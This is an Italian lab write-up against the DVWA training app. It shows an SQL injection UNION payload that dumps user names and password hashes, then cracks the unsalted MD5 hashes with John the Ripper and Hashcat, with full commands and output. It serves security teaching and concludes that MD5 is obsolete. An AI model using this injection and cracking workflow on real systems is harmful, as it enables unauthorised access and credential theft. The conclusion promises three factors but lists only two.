

Password Cracking DVWA

Obiettivo

Recuperare gli hash delle password accedendo al database DVWA e procedere alla loro decifratura.

Accesso al database

- È stata testata la vulnerabilità inserendo un carattere speciale (') nel campo User ID. L'errore restituito dal server ha confermato la possibilità di iniettare codice SQL.
 - Tramite il comando ORDER BY, è stato stabilito che la query originale gestiva **2 colonne**.
 - È stata interrogata la tabella di sistema information_schema.tables per individuare la tabella users.
 - Sono state estratte le colonne user e password.
- Comando finale: 1' UNION SELECT user, password FROM users #.

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Analisi degli hash

I dati ottenuti hanno rivelato che le password sono memorizzate come **hash MD5** (stringhe alfanumeriche di 32 caratteri). A occhio è possibile distinguere le principali tipologie di hash per tipo e numero di caratteri impiegati, ma esistono anche dei tool che permettono di fare un'analisi più approfondita:

Hash id è un tool semplice e sintetico che indica i 2 principali possibili hash (md5 messo per primo)

[illegible]

Name that hash mostra decine di possibilità perché analizza ogni minima variante matematica. Ti dà anche i codici pronti per gli altri tool: la scritta "HC: 0" (Hashcat mode 0) e "JtR: raw-md5" (John the Ripper format).

```
(kali@kali)-[~]
└─$ nth -f, --file hash.txt

Name-That-Hash

https://twitter.com/bee_sec_san
https://github.com/HashPals/Name-That-Hash

5f4dcc3b5aa765d61d8327deb882cf99

Most Likely
MD5, HC: 0 JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, HC: 900 JtR: raw-md4
NTLM, HC: 1000 JtR: nt Summary: Often used in Windows Active Directory.
Domain Cached Credentials, HC: 1100 JtR: mscach

Least Likely
Domain Cached Credentials 2, HC: 2100 JtR: mscach2 Double MD5, HC: 2600 Tiger-128,
Skein-256(128), Skein-512(128), Lotus Notes/Domino 5, HC: 8600 JtR: lotus5
md5(md5(md5($pass))), HC: 3500 Summary: Hashcat mode is only supported in
hashcat-Legacy, md5(uppercase(md5($pass))), HC: 4300 md5(sha1($pass)), HC: 4400
md5(utf16($pass)), JtR: dynamic_29 md4(utf16($pass)), JtR: dynamic_33 md5(md4($pass)),
JtR: dynamic_34 Haval-128, JtR: haval-128-4 RIPEMD-128, JtR: ripemd-128 MD2, JtR: md2
Snefru-128, JtR: snefru-128 DNSSEC(NSEC3), HC: 8300 RAdmin v2.x, HC: 9900 JtR: radmi2
```

4. Cracking degli hash

Il primo tool utilizzato è **John the ripper**, un eccellente "tuttofare" che lavora primariamente sulla CPU del computer. La sua velocità è limitata da quella del processore. Nel comando 1 non è stato specificato alcun dizionario, il tool ha quindi eseguito un brute force. Nel comando 2 è stato invece specificato un dizionario e la risposta è stata istantanea.

Comando 1: `john --incremental --max-length=14 --format=raw-md5 hash.txt`

```

(kali㉿kali)-[~]
$ john --incremental --max-length=14 --format=raw-md5 hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123          (?)
charley         (?)
password        (?)
letmein         (?)
4g 0:00:00:02 DONE (2026-01-15 15:03) 1.666g/s 1064Kp/s 1064Kc/s 1249Kc/s letero1..le
tmish
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reli
ably
Session completed.

```

Comando 2: john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

```

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password        (?)
abc123          (?)
letmein         (?)
charley         (?)
4g 0:00:00:00 DONE (2026-01-15 16:32) 400.0g/s 307200p/s 307200c/s 460800C/s my3kids..
dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reli
ably
Session completed.

```

Il secondo tool utilizzato è **Hashcat**, lo standard industriale per il cracking ad altissime prestazioni. Sfrutta la potenza di calcolo parallelo delle schede grafiche GPU per testare miliardi o trilioni di password al secondo. Per password lunghe e complesse, Hashcat è lo strumento di riferimento perché drasticamente più veloce.

Comando: hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

```
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
8d3533d75ae2c3966d7e0d4fcc69216b:charley

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 0 (MD5)
Hash.Target.....: hash.txt
Time.Started.....: Thu Jan 15 16:33:47 2026 (0 secs)
Time.Estimated...: Thu Jan 15 16:33:47 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 47508 H/s (0.25ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 4/4 (100.00%) Digests (total), 4/4 (100.00%) Digests (new)
Progress.....: 4096/14344385 (0.03%)
Rejected.....: 0/4096 (0.00%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: slimshady → oooooo
Hardware.Mon.#1..: Util: 24%

Started: Thu Jan 15 16:33:38 2026
Stopped: Thu Jan 15 16:33:48 2026
```

L'esercitazione ha dimostrato che l'hash **MD5** è totalmente obsoleto per la protezione delle credenziali. La combinazione di tre fattori ha reso la difesa nulla:

- **Assenza di Salt:** Tutti gli utenti con la stessa password presentano lo stesso hash.
- **Facilità di Esecuzione:** Come dimostrato dai test effettuati, non sono necessarie configurazioni hardware o software "perfette" o complesse; la potenza dei tool moderni come **Hashcat** e **John** rende il cracking degli hash MD5 un'operazione semplice e veloce.